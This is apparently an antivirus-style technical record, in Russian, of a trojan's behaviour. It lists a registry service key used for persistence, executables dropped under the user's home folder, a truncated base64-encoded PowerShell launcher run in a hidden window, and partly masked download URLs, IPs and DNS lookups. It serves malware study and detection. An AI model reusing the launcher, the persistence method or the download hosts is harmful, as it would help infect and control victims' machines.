Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\photowiz] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\photowiz] 'ImagePath' = '"%WINDIR%\SysWOW64\mydocs\photowiz.exe"'
- 'photowiz' "%WINDIR%\SysWOW64\mydocs\photowiz.exe"
- 'photowiz' %WINDIR%\SysWOW64\mydocs\photowiz.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABFAHAAeQBxADAAcABkAD0AKAAoACcATwBmACcAKwAnAGsAOQA0ACcAKwAnAGMAJwApACsAJwBjACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAGUAbgB2ADoAVQBzAGUAUgBwAHIATwBmAGkATABFAFwAZgA1AF...
- %HOMEPATH%\f5_xrfk\utd0lgk\wjcck_u32.exe
- %HOMEPATH%\f5_xrfk\utd0lgk\wjcck_u32.exe
- %HOMEPATH%\f5_xrfk\utd0lgk\wjcck_u32.exe в %WINDIR%\syswow64\mydocs\photowiz.exe
- %HOMEPATH%\f5_xrfk\utd0lgk\wjcck_u32.exe
- '11#.#76.16.221':80
- http://c.#####tgagegenius.ca/lib/0sbH/
- http://11#.#76.16.221/GmhRh5v/jDpWPxEDu5Q/cqFFzOGyvGxzhcmF6/gnEg0nOGG9LqOrt73ko/
- DNS ASK gu###smart.com
- DNS ASK na##svn.com
- DNS ASK c.#####tgagegenius.ca
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABFAHAAeQBxADAAcABkAD0AKAAoACcATwBmACcAKwAnAGsAOQA0ACcAKwAnAGMAJwApACsAJwBjACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAGUAbgB2ADoAVQBzAGUAUgBwAHIATwBmAGkATABFAFwAZgA1AF...' (со скрытым окном)